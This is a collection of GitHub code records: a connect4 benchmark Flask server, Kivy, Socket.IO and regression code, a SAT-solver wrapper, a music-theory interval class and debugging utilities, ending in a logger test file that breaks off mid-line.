[nx.random_regular_graph(args.degree, args.n_variables) for _ in range(args.n_instances)]\n instances = [CSP_Instance.graph_to_csp_instance(g, language, 'NEQ') for g in graphs]\n\n evaluate_boosted(network, instances, args.degree, args.t_max, args.attempts)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"toenshoff/RUN-CSP","sub_path":"evaluate_max_cut_regular.py","file_name":"evaluate_max_cut_regular.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"27"} +{"seq_id":"9530676095","text":"import subprocess\nimport string\nfrom flask import Flask, render_template\napp = Flask(__name__)\n\n@app.route('/benchmark/')\ndef benchmark(filepath):\n clean = string.ascii_letters + string.digits + \"_-\"\n if any(c not in clean for c in filepath):\n return \"No hacking\"\n\n filepath = f\"/connect4/benchmark/{filepath}\"\n result = subprocess.run([\"./eval_benchmark\"], stdin=open(filepath, \"r\"), capture_output=True).stdout\n\n test_info, time_info, search_info, speed_info = result.decode(\"ascii\").strip().split(\"\\n\")\n return render_template(\"benchmark.html\", test_info=test_info, time_info=time_info, search_info=search_info, speed_info=speed_info)\n\n@app.route('/')\ndef hello_world():\n return render_template(\"index.html\")\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n","repo_name":"utaha1228/connect4","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"44937639597","text":"\nfrom kivy.core.window import Window\nfrom kivy.uix.button import Button\nfrom kivy.uix.scrollview import ScrollView\nfrom kivy.uix.relativelayout import RelativeLayout\n\nfrom kivymd.app import MDApp\nfrom kivymd.uix.list import MDList\nfrom kivymd.uix.floatlayout import MDFloatLayout\n\n\n\nclass ListScrollApp(MDApp):\n\n def __init__(self, **kwargs):\n super(ListScrollApp, self).__init__(**kwargs)\n self.Main_Win = MDFloatLayout()\n self.Rel_Win = RelativeLayout()\n self.List_Scr = ScrollView()\n self.The_List = MDList()\n return\n\n def build(self):\n #######################################\n self.Main_Win.size = Window.size\n Xc = int(self.Main_Win.width * 0.5)\n Yc = int(self.Main_Win.height * 0.5)\n #######################################\n self.Rel_Win.size_hint = (None, None)\n self.Rel_Win.width = int(self.Main_Win.width * 0.3)\n self.Rel_Win.height = int(self.Main_Win.height * 0.5)\n self.Rel_Win.x = Xc - int(self.Rel_Win.width * 0.5)\n self.Rel_Win.y = Yc - int(self.Rel_Win.height * 0.5)\n #######################################\n self.List_Scr.bar_inactive_color = (0.4, 0, 0, 1)\n self.List_Scr.bar_color = (1, 0.15, 0.15, 1)\n self.List_Scr.bar_margin = 5\n self.List_Scr.bar_width = int(self.Rel_Win.width * 0.10)\n self.List_Scr.bar_pos_y = 'right'\n # self.List_Scr.scroll_type = ['content']\n # self.List_Scr.scroll_type = ['bars']\n self.List_Scr.scroll_type = ['content', 'bars']\n #######################################\n Height1 = int(self.Rel_Win.height / 10)\n self.The_List.clear_widgets()\n for i in range(100):\n self.The_List.add_widget(Button(text=f\"Button Number {i}\", \\\n size_hint = (None, None), \\\n width = self.Rel_Win.width, \\\n height = Height1))\n #######################################\n if(self.The_List.parent == None):\n self.List_Scr.add_widget(self.The_List)\n if(self.List_Scr.parent == None):\n self.Rel_Win.add_widget(self.List_Scr)\n if(self.Rel_Win.parent == None):\n self.Main_Win.add_widget(self.Rel_Win)\n #######################################\n self.List_Scr.scroll_x = 1\n self.List_Scr.scroll_y = 1\n #######################################\n return self.Main_Win\n\n \nif __name__ == \"__main__\":\n ListScrollApp().run()\n\n","repo_name":"edwit1971/ListScroll","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"1199312826","text":"from ..solver import *\nimport warnings\n\n\nclass Plingeling(Solver):\n tag = 'plingeling'\n name = 'Solver: Plingeling'\n script = './untar_lingeling.sh'\n statuses = {\n 'SATISFIABLE': True,\n 'UNSATISFIABLE': False,\n 'UNKNOWN': None\n }\n min_time = 0.1\n\n def get_args(self, tl: int) -> List[str]:\n workers = 1\n args = [self.solver_path, '-t', str(workers)]\n\n if tl > 0:\n warnings.warn('Time limit not support in plingeling', UserWarning)\n\n return args\n\n def parse(self, output: str) -> SolverReport:\n status, solution = '', ''\n output = output.split('\\n')\n for i in range(len(output)):\n if output[i].startswith('c s') or output[i].startswith('s'):\n status = output[i].split(' ')\n status = status[len(status) - 1]\n if output[i].startswith('v'):\n solution_line = output[i].split(' ')\n for j in range(1, len(solution_line)):\n solution += solution_line[j] + ' '\n\n s_time = self.spaces.split(output[len(output) - 2])[1]\n time = max(float(s_time), self.min_time)\n\n solution = solution[:-1]\n\n report = SolverReport(self.statuses[status], time)\n if self.statuses[status]:\n report.parse_solution(solution, self.spaces)\n\n return report\n\n\n__all__ = [\n 'Plingeling'\n]\n","repo_name":"lytr777/EvoGuess","sub_path":"method/solver/impls/plingeling.py","file_name":"plingeling.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"10414362616","text":"import random, time\n\nclass GuessGame:\n def __init__(self):\n self.words = []\n self.current = \"\"\n self.current_index = -1\n self.jumble = \"\"\n self.records = []\n self.score = 0\n def load_words(self, path):\n with open(path,'r') as f:\n content = f.read()\n self.words = [i.strip() for i in content.split(\"\\n\") if len(i.strip())>0]\n def start_game(self):\n self.load_words(\"words.txt\")\n random.seed(time.time())\n self.new_turn()\n def new_turn(self):\n \n self.current = random.choice(self.words)\n self.jumble_word()\n def jumble_word(self):\n s = self.current\n jumble = \"\"\n while len(s) > 1:\n i = random.randrange(0, len(s))\n jumble += s[i]\n # while choose last one\n s = s[:i] + (s[i+1:] if i != len(s) - 1 else \"\")\n jumble += s\n print(self.current, jumble)\n self.jumble = jumble\n def judge(self, answer):\n data = {}\n data[\"word\"] = self.current\n data[\"answer\"] = answer\n if answer == self.current: \n data[\"status\"] = \"Accept\"\n self.records.append(data)\n self.score += 100\n\n return True\n else:\n data[\"status\"] = \"Wrong\"\n self.records.append(data)\n return False\n","repo_name":"Jecosine/python-couse","sub_path":"GuessGame.py","file_name":"GuessGame.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19423573325","text":"#!/usr/bin/python\n\n# -*- coding: utf-8 -*-\n\n# For better print formatting\nfrom __future__ import print_function\n\n# Imports\nfrom enum import Enum\n\nfrom data_utils import DataRegister\nfrom task_utils import TaskRegister\nfrom action_utils import JobRegister\nfrom resource_utils import ResourceRegister\nfrom connection_utils import ConnectionRegister\n\nimport sys\n\n\nclass DataAccessStatus(Enum):\n REQUESTED = 0\n EXISTENCE_AWARE = 1\n OBTAINED = 2\n\n\nclass DataAccess:\n def __init__(self, access, data, timestamp):\n self.access = access\n self.access.register_read(data, timestamp)\n self.state = DataAccessStatus.REQUESTED\n self.access.get_read_version(timestamp).main_access_progress(\"requested\", timestamp)\n\n def exists(self, timestamp):\n self.state = DataAccessStatus.EXISTENCE_AWARE\n self.access.get_read_version(timestamp).main_access_progress(\"is aware of existence\", timestamp)\n\n def obtained(self, timestamp):\n self.state = DataAccessStatus.OBTAINED\n self.access.get_read_version(timestamp).main_access_progress(\"has the value on the node\", timestamp)\n\n def __str__(self):\n return str(self.access) + \" in state \" + str(self.state)\n\n\nclass ExecutionState:\n \"\"\"\n Class representing the current state of the execution\n \"\"\"\n def __init__(self):\n self.tasks = TaskRegister()\n self.resources = ResourceRegister()\n self.jobs = JobRegister()\n self.data = DataRegister()\n self.connections = ConnectionRegister()\n self.main_access = None\n\n def main_accesses_data(self, data_id, timestamp):\n access = self.data.last_registered_access\n datum = self.data.get_datum(data_id)\n self.main_access = DataAccess(access, datum, timestamp)\n\n def clear(self):\n self.tasks = TaskRegister()\n self.resources = ResourceRegister()\n self.jobs = JobRegister()\n self.main_access = None\n\n def query_resource(self, query):\n if len(query) > 0:\n resource_name = query[0]\n resource = self.resources.get_resource(resource_name)\n if resource is None:\n print(\"Runtime has no information regarding resource \" + resource_name + \".\", file=sys.stderr)\n else:\n print(\"-------- Resource ------\")\n print(\"Name: \" + resource.name)\n print(\"Currently hosting :\")\n for a in resource.hosts:\n print(\"\\t \" + str(a))\n print(\"Task History:\")\n for entry in resource.history:\n print(\"\\t \" + entry[0] + \" -> \" + entry[1])\n else:\n print(\"-------- Resources ------\")\n resources = self.resources.get_resources()\n resource_names = self.resources.get_resource_names()\n max_length = 4\n for name in resource_names:\n if len(name) > max_length:\n max_length = len(name)\n print(\"Name\" + (((max_length - 4) + 3) * \" \") + \"#Hosting actions\")\n for resource in sorted(resources, key=lambda resource: resource.name):\n name = resource.name\n print(name + (((max_length - len(name)) + 3) * \" \") + str(len(resource.hosts)))\n\n def query_connection(self, query):\n \"\"\"\n\n :param query:\n \"\"\"\n if len(query) > 0:\n if all(char.isdigit() for char in query[0]):\n connection_id = query[0]\n connection = self.connections.get_connection(connection_id)\n if connection is None:\n print(\"Runtime has no information regarding connection \" + connection_id + \".\", file=sys.stderr)\n else:\n print(\"-------- Connection ------\")\n print(\"Id: \" + connection.connection_id)\n print(\"Socket Id: \" + str(connection.socket_id))\n print(\"Current Stage: \"+str(connection.current_stage.name))\n \n print(\"Enqueued Stages: \")\n for stage in connection.get_stages():\n print(\"\\t \"+stage.name)\n print(\"Connection History:\")\n for entry in connection.get_history():\n print(\"\\t \"+entry[0]+\" -> \"+entry[1])\n else:\n print(\"Unknown job sub-command \"+query[0], file=sys.stderr)\n else:\n print(\"-------- Connections ------\")\n print(\"Connection ID\\tStatus\")\n connections = self.connections.get_connections()\n for connection in sorted(connections, key=lambda connection: int(connection.connection_id)):\n print(connection.connection_id+\"\\t\"+str(connection.status))\n\n def query_job(self, query):\n \"\"\"\n\n :param query:\n \"\"\"\n if len(query) > 0:\n if all(char.isdigit() for char in query[0]):\n job_id = query[0]\n job = self.jobs.get_job(job_id)\n if job is None:\n print(\"Runtime has no information regarding job \" + job_id + \".\", file=sys.stderr)\n else:\n print(\"-------- Job ------\")\n print(\"Id: \" + job.job_id)\n print(\"Job Status \" + str(job.status))\n print(\"Resource: \" + str(job.resource.name))\n print(\"Action: \" + str(job.action))\n print(\"Job History:\")\n for entry in job.get_history():\n print(\"\\t \"+entry[0]+\" -> \"+entry[1])\n else:\n print(\"Unknown job sub-command \"+query[0], file=sys.stderr)\n else:\n print(\"-------- Jobs ------\")\n print(\"Job ID\\tStatus\\t\\t\\tAction\")\n jobs = self.jobs.get_jobs()\n for job in sorted(jobs, key=lambda job: int(job.job_id)):\n print(job.job_id+\"\\t\"+str(job.status)+\"\\t\"+str(job.action))\n\n def query_task(self, query):\n if len(query) > 0:\n if all(char.isdigit() for char in query[0]):\n task_id = query[0]\n task = self.tasks.get_task(task_id)\n if task is None:\n print(\"Runtime has no information regarding job \" + task_id + \".\", file=sys.stderr)\n else:\n print(\"-------- Task ------\")\n print(\"Id: \" + task.task_id)\n print(\"Method Name: \" + task.method_name)\n print(\"Parameters:\")\n for p in task.parameters:\n direction = str(p.get_direction())\n data = p.get_data()\n data_id = str(data.get_id())\n predecessor = p.get_detected_dependency()\n confirmed_predecessor = p.get_confirmed_dependency()\n\n producer = \"\"\n if predecessor is not None:\n predecessor_state = predecessor.state\n if confirmed_predecessor is not None:\n if predecessor == confirmed_predecessor:\n producer = \" depends on task \"+str(predecessor.task_id) +\\\n \" (detected with state \" + str(predecessor_state)+\")\"\n else:\n producer = \" expected a dependency on task \" + str(predecessor.task_id) + \\\n \" and dependency with \" + str(confirmed_predecessor.task_id)\n else:\n producer = \" depends on task \"+str(predecessor.task_id) +\\\n \" (not detected with state \" + str(predecessor_state)+\")\"\n else:\n if confirmed_predecessor is not None:\n producer = \"unexpected dependency with task \" + str(confirmed_predecessor.task_id)\n else:\n producer == \"\"\n print(\" * \" + direction + \" data \" + data_id + producer)\n\n print(\"Status: \" + str(task.state))\n print(\"Actions: \")\n for a in task.action:\n print(\"\\t \"+str(a))\n print(\"Task History:\")\n for entry in task.get_history():\n print(\"\\t \"+entry[0]+\" -> \"+entry[1])\n else:\n print(\"Unknown job sub-command \"+query[0], file=sys.stderr)\n else:\n print(\"-------- Tasks ------\")\n name_max_length = 0\n for name in self.tasks.get_method_names():\n if len(name) > name_max_length:\n name_max_length = len(name)\n print(\"Task ID\" + \" \" +\n \"Method name\" + ((name_max_length - 11 + 4) * \" \") +\n \"Status\")\n tasks = self.tasks.get_tasks()\n for task in sorted(tasks, key=lambda task: int(task.task_id)):\n print(task.task_id+((11-len(task.task_id))*\" \") +\n task.method_name + (( name_max_length - len(task.method_name) + 4) * \" \") +\n str(task.state))\n\n def query_data(self, query):\n if len(query) > 0:\n if all(char.isdigit() for char in query[0]):\n data_id = query[0]\n data = self.data.get_datum(data_id)\n if data is None:\n print(\"Runtime has no information regarding data \" + data_id + \".\", file=sys.stderr)\n else:\n print(\"-------- Data ------\")\n print(\"Id: \" + data.get_id())\n last_writer = data.get_last_writer()\n if last_writer is None:\n last_writer = \"Main Code\"\n else:\n last_writer = last_writer.task.task_id\n print(\"Last writer: \" + last_writer)\n print(\"Data history:\")\n for entry in data.get_history():\n print(\"\\t \" + entry[0] + \" -> \" + entry[1])\n else:\n print(\"Unknown job sub-command \" + query[0], file=sys.stderr)\n else:\n print(\"-------- Data ------\")\n print(\"Data ID Num Versions Last Writer\")\n data = self.data.get_data()\n for d in sorted(data, key=lambda d: int(d.get_id())):\n last_writer = d.get_last_writer()\n if last_writer is None:\n last_writer = \"Main Code\"\n else:\n last_writer = last_writer.task.task_id\n versions_count = str(len(d.get_all_versions()))\n print(d.get_id() + ((12 - len(d.get_id())) * \" \") + versions_count + ((28 - 12 - len(versions_count)) * \" \") + last_writer)\n\n","repo_name":"curiousTauseef/compss","sub_path":"utils/scripts/debug/execution_utils.py","file_name":"execution_utils.py","file_ext":"py","file_size_in_byte":11085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"1388680935","text":"from abjad import mathtools\nfrom . import constants\nfrom abjad.system.FormatSpecification import FormatSpecification\nfrom .IntervalClass import IntervalClass\n\n\nclass NamedIntervalClass(IntervalClass):\n \"\"\"\n Named interval-class.\n\n .. container:: example\n\n Initializes from name:\n\n >>> abjad.NamedIntervalClass('-M9')\n NamedIntervalClass('-M2')\n\n \"\"\"\n\n ### CLASS VARIABLES ###\n\n __slots__ = (\n '_number',\n '_quality',\n )\n\n ### INITIALIZER ###\n\n def __init__(self, name='P1'):\n super().__init__(name or 'P1')\n\n ### SPECIAL METHODS ###\n\n def __abs__(self):\n \"\"\"\n Gets absolute value of named interval-class.\n\n .. container:: example\n\n >>> abs(abjad.NamedIntervalClass('-M9'))\n NamedIntervalClass('+M2')\n\n Returns new named interval-class.\n \"\"\"\n return type(self)((\n self.quality,\n abs(self.number),\n ))\n\n def __add__(self, argument):\n \"\"\"\n Adds `argument` to named interval-class.\n\n Returns new named interval-class.\n \"\"\"\n import abjad\n try:\n argument = type(self)(argument)\n except Exception:\n return NotImplemented\n dummy_pitch = abjad.NamedPitch(0)\n new_pitch = dummy_pitch + self + argument\n interval = abjad.NamedInterval.from_pitch_carriers(\n dummy_pitch,\n new_pitch,\n )\n return type(self)(interval)\n\n def __eq__(self, argument):\n \"\"\"\n Is true when `argument` is a named interval-class with direction\n number, quality string and number equal to those of this named\n interval-class.\n\n .. container:: example\n\n >>> interval_class_1 = abjad.NamedIntervalClass('P1')\n >>> interval_class_2 = abjad.NamedIntervalClass('P1')\n >>> interval_class_3 = abjad.NamedIntervalClass('m2')\n\n >>> interval_class_1 == interval_class_1\n True\n >>> interval_class_1 == interval_class_2\n True\n >>> interval_class_1 == interval_class_3\n False\n\n >>> interval_class_2 == interval_class_1\n True\n >>> interval_class_2 == interval_class_2\n True\n >>> interval_class_2 == interval_class_3\n False\n\n >>> interval_class_3 == interval_class_1\n False\n >>> interval_class_3 == interval_class_2\n False\n >>> interval_class_3 == interval_class_3\n True\n\n Returns true or false.\n \"\"\"\n return super().__eq__(argument)\n\n def __float__(self):\n \"\"\"\n Coerce to float.\n\n Returns float.\n \"\"\"\n return float(self._named_to_numbered(\n self.direction_number,\n self._quality,\n abs(self._number),\n ))\n\n def __hash__(self):\n \"\"\"\n Hashes named interval-class.\n\n Returns integer.\n \"\"\"\n return super().__hash__()\n\n def __lt__(self, argument):\n \"\"\"\n Is true when `argument` is a named interval class with a number\n greater than that of this named interval.\n\n .. container:: example\n\n >>> interval_class_1 = abjad.NamedIntervalClass('P1')\n >>> interval_class_2 = abjad.NamedIntervalClass('P1')\n >>> interval_class_3 = abjad.NamedIntervalClass('m2')\n\n >>> interval_class_1 < interval_class_1\n False\n >>> interval_class_1 < interval_class_2\n False\n >>> interval_class_1 < interval_class_3\n True\n\n >>> interval_class_2 < interval_class_1\n False\n >>> interval_class_2 < interval_class_2\n False\n >>> interval_class_2 < interval_class_3\n True\n\n >>> interval_class_3 < interval_class_1\n False\n >>> interval_class_3 < interval_class_2\n False\n >>> interval_class_3 < interval_class_3\n False\n\n Returns true or false.\n \"\"\"\n import abjad\n try:\n argument = type(self)(argument)\n except Exception:\n return False\n if self.number == argument.number:\n self_semitones = abjad.NamedInterval(self).semitones\n argument_semitones = abjad.NamedInterval(argument).semitones\n return self_semitones < argument_semitones\n return self.number < argument.number\n\n def __radd__(self, argument):\n \"\"\"\n Adds interval-class to `argument`.\n\n Returns new named interval-class.\n \"\"\"\n try:\n argument = type(self)(argument)\n except Exception:\n return NotImplemented\n return argument.__add__(self)\n\n def __str__(self):\n \"\"\"\n Gets string representation of named interval-class.\n\n .. container:: example\n\n >>> str(abjad.NamedIntervalClass('-M9'))\n '-M2'\n\n Returns string.\n \"\"\"\n return self.name\n\n def __sub__(self, argument):\n \"\"\"\n Subtracts `argument` from named interval-class.\n\n Returns new named interval-class.\n \"\"\"\n import abjad\n try:\n argument = type(self)(argument)\n except Exception:\n return NotImplemented\n dummy_pitch = abjad.NamedPitch(0)\n new_pitch = dummy_pitch + self - argument\n interval = abjad.NamedInterval.from_pitch_carriers(\n dummy_pitch,\n new_pitch,\n )\n return type(self)(interval)\n\n ### PRIVATE PROPERTIES ###\n\n def _from_named_parts(self, direction, quality, diatonic_number):\n self._quality = quality\n diatonic_pc_number = diatonic_number\n while diatonic_pc_number > 7:\n diatonic_pc_number -= 7\n if diatonic_pc_number == 1 and diatonic_number >= 8:\n if quality == 'P':\n diatonic_pc_number = 8\n elif quality.startswith('d') or quality == 'P~':\n direction *= -1\n if not (diatonic_number == 1 and quality == 'P'):\n diatonic_pc_number *= direction\n self._number = diatonic_pc_number\n\n def _from_number(self, argument):\n direction, quality, diatonic_number = self._numbered_to_named(argument)\n self._from_named_parts(direction, quality, diatonic_number)\n\n def _from_interval_or_interval_class(self, argument):\n try:\n quality = argument.quality\n diatonic_number = abs(argument.number)\n direction = mathtools.sign(argument.number)\n except AttributeError:\n direction, quality, diatonic_number = self._numbered_to_named(argument)\n self._from_named_parts(direction, quality, diatonic_number)\n\n ### PRIVATE METHODS ###\n\n def _get_format_specification(self):\n values = [self.name]\n return FormatSpecification(\n client=self,\n coerce_for_equality=True,\n repr_is_indented=False,\n storage_format_is_indented=False,\n storage_format_args_values=values,\n )\n\n ### PUBLIC PROPERTIES ###\n\n @property\n def direction_number(self):\n \"\"\"\n Gets direction number of named interval-class.\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass('P1').direction_number\n 0\n\n >>> abjad.NamedIntervalClass('+M2').direction_number\n 1\n\n >>> abjad.NamedIntervalClass('-M2').direction_number\n -1\n\n Returns -1, 0 or 1.\n \"\"\"\n if self.quality == 'P' and abs(self.number) == 1:\n return 0\n return mathtools.sign(self.number)\n\n @property\n def name(self):\n \"\"\"\n Gets name of named interval-class.\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass('-M9').name\n '-M2'\n\n Returns string.\n \"\"\"\n return '{}{}{}'.format(\n constants._direction_number_to_direction_symbol[\n self.direction_number],\n self._quality,\n abs(self.number),\n )\n\n @property\n def quality(self):\n \"\"\"\n Gets quality of named interval-class.\n\n Returns string.\n \"\"\"\n return self._quality\n\n ### PUBLIC METHODS ###\n\n @classmethod\n def from_pitch_carriers(class_, pitch_carrier_1, pitch_carrier_2):\n \"\"\"\n Makes named interval-class from `pitch_carrier_1` and\n `pitch_carrier_2`.\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass.from_pitch_carriers(\n ... abjad.NamedPitch(-2),\n ... abjad.NamedPitch(12),\n ... )\n NamedIntervalClass('+M2')\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass.from_pitch_carriers(\n ... abjad.NamedPitch(0),\n ... abjad.NamedPitch(12),\n ... )\n NamedIntervalClass('+P8')\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass.from_pitch_carriers(\n ... abjad.NamedPitch(12),\n ... abjad.NamedPitch(12),\n ... )\n NamedIntervalClass('P1')\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass.from_pitch_carriers(\n ... abjad.NamedPitch(12),\n ... abjad.NamedPitch(-3),\n ... )\n NamedIntervalClass('-m3')\n\n .. container:: example\n\n >>> abjad.NamedIntervalClass.from_pitch_carriers(\n ... abjad.NamedPitch(12),\n ... abjad.NamedPitch(9),\n ... )\n NamedIntervalClass('-m3')\n\n Returns newly constructed named interval-class.\n \"\"\"\n import abjad\n named_interval = abjad.NamedInterval.from_pitch_carriers(\n pitch_carrier_1,\n pitch_carrier_2,\n )\n return class_(named_interval)\n","repo_name":"gsy/gmajor","sub_path":"abjad_demo/env/lib/python3.6/site-packages/abjad/pitch/NamedIntervalClass.py","file_name":"NamedIntervalClass.py","file_ext":"py","file_size_in_byte":10085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"71301612231","text":"import socketio\n\nfrom app.models.chats import Chats, MessageModel, MessageUserModel\n\n# create a Socket.IO server\nsio = socketio.AsyncServer(cors_allowed_origins=[], async_mode='asgi')\n\n\n###############################\n# On Connect\n###############################\n\n@sio.event\nasync def connect(sid, environ, auth):\n print('connect ', sid)\n\n\n###############################\n# On Disconnect\n###############################\n@sio.event\nasync def disconnect(sid):\n print('disconnect ', sid)\n\n###############################\n# Subscribe to Room (UserId)\n###############################\n\n\n@sio.on('join-room')\nasync def join_room(sid, data):\n sio.enter_room(sid, data['room'])\n\n\n###############################\n# Send Message\n###############################\n\n\n@sio.on('message')\nasync def message(sid, data):\n\n # Application-wide Notification Socket\n await sio.emit('notification', {\"content\": data['content'], \"user\": data['user']}, room=data['room'])\n\n # Chat Message Socket\n await sio.emit('message', {\"content\": data['content'], \"user\": data['user']}, room=data['room'])\n\n # Save Chat Message to DB\n Chats.add_chat_message_by_user_ids([data['room'], data['user']['id']], MessageModel(**{\n \"content\": data['content'],\n \"user\": MessageUserModel(**{\n \"id\": data['user']['id'],\n \"name\": data['user']['name']\n })\n }))\n\n\n# wrap with ASGI application\napp = socketio.ASGIApp(sio)\n","repo_name":"tjbck/donation-marketplace-server","sub_path":"app/socket/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16686086757","text":"import numpy as np\nimport pandas as pd\nimport collections\nimport statsmodels.api as sm\nimport statsmodels.formula.api as smf\nfrom numpy.linalg import inv\nimport itertools\nimport tqdm\n\nclass FamaMacbethRegression(object):\n def __init__(self, data):\n self.data = data\n \n def set_data(self, newdata):\n self.data = newdata\n \n def get_data(self):\n return self.data\n \n def set_X(self, columnNames):\n self.X_col_step1 = columnNames\n \n def set_Y(self, columnName):\n self.Y_col_step1 = columnName\n \n def compute_factorPremiumEstimation(self, result):\n return(result.values.mean(axis = 0))\n \n def compute_tStat(self, result):\n MEAN = result.values.mean(axis = 0)\n STD = result.values.std(axis = 0)\n T = result.shape[0]\n return(MEAN/(STD/T**0.5))\n \n def compute_factorExpousre(self, classifyBy = \"SID\", NW_lags = 4):\n \n # init data\n X_col_step1 = self.X_col_step1\n Y_col_step1 = self.Y_col_step1\n df_reg = self.get_data()\n \n # init variable\n betaMatrix = []\n valid_SID = []\n invalid_SID = []\n \n # init classify\n SID_list = np.unique(df_reg[classifyBy])\n \n # run #assets times regression for T time period\n progress_bar = tqdm.tqdm(SID_list)\n for asset in progress_bar:\n try:\n dataStep1Sub = df_reg[df_reg[classifyBy] == asset]\n formula = Y_col_step1[0] + \"~1+\" + \"+\".join(X_col_step1)\n reg = smf.ols(formula, data=dataStep1Sub).fit(cov_type='HAC',cov_kwds={'maxlags':NW_lags})\n # factor = np.mat(dataStep1Sub[X_col_step1].values)\n # rts = np.mat(dataStep1Sub[Y_col_step1].values)\n # constantCol = np.ones((rts.shape[0],1))\n # X = np.hstack((constantCol, factor))\n # betaMatrix.append(sm.OLS(rts, X).fit().params[:].tolist())\n betaMatrix.append(reg.params.values.tolist())\n valid_SID.append(asset)\n except:\n invalid_SID.append(asset)\n\n #print progress bar\n progress_bar.set_description(f'step1 regression: Processing {asset}')\n \n X_col_names = [0]*(len(X_col_step1)+1)\n X_col_names[0] = \"Intercept\"\n X_col_names[1:] = X_col_step1\n\n self.validStep1Filter = valid_SID\n self.factorExposure = pd.DataFrame(index = valid_SID, data = betaMatrix, columns = X_col_names)\n \n return\n \n def compute_factorPremium(self, classifyBy = \"Trading_Month\", step1ClassifyBy = \"SID\", NW_lags = 4):\n \n #init data\n X_col_step1 = self.X_col_step1\n Y_col_step1 = self.Y_col_step1\n valid_SID = self.validStep1Filter\n df_reg = self.get_data()\n betaDf = self.factorExposure\n \n # init variables\n lambdaMatrix = []\n valid_Dates = []\n invalid_Dates = []\n t_statList = []\n \n # init classification\n Dates_list = np.unique(df_reg[classifyBy])\n \n progress_bar = tqdm.tqdm(Dates_list)\n for date in progress_bar:\n try:\n SID_byDate = set(df_reg[df_reg[classifyBy] == date][step1ClassifyBy].values)\n valid_SID_byDate = set(valid_SID).intersection(SID_byDate)\n dataStep2Sub = pd.DataFrame(betaDf.loc[betaDf.index.isin(valid_SID_byDate),:])\n Y = df_reg[np.logical_and(df_reg[classifyBy] == date,\n df_reg[step1ClassifyBy].isin(valid_SID_byDate))][Y_col_step1].values\n dataStep2Sub[Y_col_step1[0]] = Y\n formula = Y_col_step1[0] + \"~1+\" + \"+\".join(X_col_step1)\n reg = smf.ols(formula, data=dataStep2Sub).fit(cov_type='HAC',cov_kwds={'maxlags':NW_lags})\n # Y = np.mat(df_reg[np.logical_and(df_reg[classifyBy] == date,\n # df_reg[step1ClassifyBy].isin(valid_SID_byDate))][Y_col_step1].values)\n # X = np.mat(betaDf.loc[betaDf.index.isin(valid_SID_byDate),:].values)\n # aLambda = inv(X.T@X)@(X.T@Y).tolist()\n # lambdaMatrix.append(aLambda.T.tolist()[0])\n lambdaMatrix.append(reg.params.values.tolist())\n t_statList.append(reg.tvalues.values.tolist())\n valid_Dates.append(date)\n except:\n invalid_Dates.append(date)\n\n # progress bar\n progress_bar.set_description(f'step2 regression: Processing {date}')\n\n newColNames = [0]*(len(X_col_step1)+1)\n newColNames[0] = \"Intercept\"\n newColNames[1:] = X_col_step1\n \n self.factorPremium = pd.DataFrame(index = valid_Dates, data = lambdaMatrix, columns = newColNames)\n self.NW_t_stat = pd.DataFrame(index = valid_Dates, data = t_statList, columns = newColNames)\n \n def run_FamaMacbethRegression(self, step1ClassifyBy = \"SID\", step2ClassifyBy = \"Trading_Month\", NW_lags = 4):\n # return a dataframe\n self.compute_factorExpousre(classifyBy = step1ClassifyBy, NW_lags= NW_lags)\n self.compute_factorPremium(classifyBy = step2ClassifyBy, step1ClassifyBy = step1ClassifyBy, NW_lags= NW_lags)\n \n return(self.factorPremium, self.NW_t_stat)\n \n def run_groupOfFamaMacbethRegression(self, Xgroups, step1ClassifyBy = \"SID\", step2ClassifyBy = \"Trading_Month\", NW_lags = 4):\n recorder = collections.OrderedDict()\n for groupNum in range(len(Xgroups)):\n print(\"progress: {}/{}\".format(groupNum+1, len(Xgroups)))\n print(\"\")\n self.set_X(Xgroups[groupNum])\n recorder[\"group\"+str(groupNum)+\"_pointEstimation\"], recorder[\"group\"+str(groupNum)+\"_tStat\"]= \\\n self.run_FamaMacbethRegression(step1ClassifyBy, step2ClassifyBy, NW_lags=NW_lags) \n \n return(recorder) ","repo_name":"ZhangjieLyu/PHBS_AppliedEconometric_SS2020","sub_path":"02 Factor composition/FamaMacbethRegression.py","file_name":"FamaMacbethRegression.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14721504354","text":"import json\nimport logging\nimport os\nimport re\nimport unittest\nfrom unittest.mock import Mock\n\nfrom advanced_logger import register_logger, initialize_logger_settings, deregister_logger, clear_all_loggers\nfrom advanced_logger.advanced_logger import _format_traceback_line, __log__, set_global_log_level\n\n__author__ = 'neil@everymundo.com'\n\n\n# noinspection DuplicatedCode\nclass AdvancedLoggingGeneralTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n super(AdvancedLoggingGeneralTestCase, cls).setUpClass()\n\n @classmethod\n def tearDownClass(cls):\n super(AdvancedLoggingGeneralTestCase, cls).tearDownClass()\n\n def setUp(self):\n clear_all_loggers()\n set_global_log_level(logging.INFO)\n super(AdvancedLoggingGeneralTestCase, self).setUp()\n\n def tearDown(self):\n super(AdvancedLoggingGeneralTestCase, self).tearDown()\n\n def 